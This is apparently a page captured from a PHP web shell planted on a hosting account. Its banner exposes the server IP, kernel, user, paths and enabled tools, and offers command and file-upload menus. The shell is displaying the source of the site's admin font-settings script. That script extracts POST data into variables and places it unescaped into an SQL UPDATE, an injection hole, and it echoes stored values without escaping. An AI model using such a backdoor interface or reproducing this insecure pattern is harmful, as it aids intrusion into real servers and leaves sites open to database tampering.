Server IP : 103.53.40.154 / Your IP : 18.224.70.11 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/adisgauges.com/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once("../includes/dbsmain.inc.php"); if (isset($_POST['Submit'])) { @extract($_POST); $sql = "update tbl_site_color set site_color_font_size='$site_color_font_size', site_color_font_style='$site_color_font_style', site_color_font_color='$site_color_font_color' where 1 and site_color_admin_id='1'"; db_query($sql); set_session_msg("Record updated successfully !"); header("Location: manage_site_font.php"); exit; } if (isset($_POST['ChangeDefault'])) { $sql = "update tbl_site_color set site_color_font_size='', site_color_font_style='', site_color_font_color='' where 1 and site_color_admin_id='1'"; db_query($sql); set_session_msg("Record change to default successfully !"); header("Location: manage_site_font.php"); exit; } $result = db_query("select site_color_font_size,site_color_font_style,site_color_font_color from tbl_site_color where 1"); if ($line_raw = mysqli_fetch_array($result)) { @extract($line_raw); } ?> <link href="styles.css" rel="stylesheet" type="text/css"> <script type="text/javascript" src="jscolor.js"></script> <?php include("top.inc.php");?> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td id="pageHead"><div id="txtPageHead"> Add/Edit Font-Size-Style-Color</div></td> </tr> </table> <div><strong class="msg" style="margin-left:500px; margin-bottom:5px;"> <?=display_sess_msg()?> </strong></div> <table width="45%" border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px outset #fff; margin-top:5px; margin-bottom:10px;"> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Current Font Size</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="text" style="border:none;width:260px; height:25px;" disabled="disabled" value="<?=$line_raw['site_color_font_size']?>"></td> </tr> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Current Font Style</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="text" disabled="disabled" style="border:none;width:260px; height:25px;" value="<?=$line_raw['site_color_font_style']?>"></td> </tr> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Current Font Color</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="text" class="color" disabled="disabled" style="border:none;width:260px; height:25px;" value="<?=$line_raw['site_color_font_color']?>"></td> </tr> </table> <form enctype="multipart/form-data" action="" method="post"> <table width="45%" border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px outset #fff; margin-top:45px; padding-top:20px; padding-bottom:20px; margin-bottom:10px;"> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Select Font Size</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"> <select id="site_color_font_size" name="site_color_font_size" style="width:260px; height:25px;"> <option value="" selected="selected">Select Font Size</option> <option>11</option> <option>12</option> <option>13</option> <option>14</option> <option>15</option> <option>16</option> </select> </td> </tr> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Select Font Style</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"> <select id="site_color_font_style" name="site_color_font_style" style="width:260px; height:25px;"> <option value="" selected="selected">Select Font Style</option> <option>Arial</option> <option>Courier New</option> <option>Georgia</option> <option>Times New Roman</option> <option>Comic Sans MS</option> <option>Verdana</option> </select> </td> </tr> <tr> <td class="tdLabel" style="padding:8px; font-weight:bold;" align="right">Site Font Color</td> <td class="tdLabel" style="padding:8px;" valign="bottom" align="left"><input type="color" name="site_color_font_color" style="width:260px; height:25px;"></td> </tr> <tr> <td class="tdLabel" colspan="2" style="padding:8px;"> <span style="margin-left:185px;"><input type="submit" name="Submit" style="width:100px; font-weight:bold; font-size:13px; height:29px;"></span> <span style="margin-left:10px;"><input type="submit" name="ChangeDefault" value="Set as default" style="width:145px; font-weight:bold; font-size:13px; height:29px;"></span> </td> </tr> </table> </form> <?php include("bottom.inc.php");?>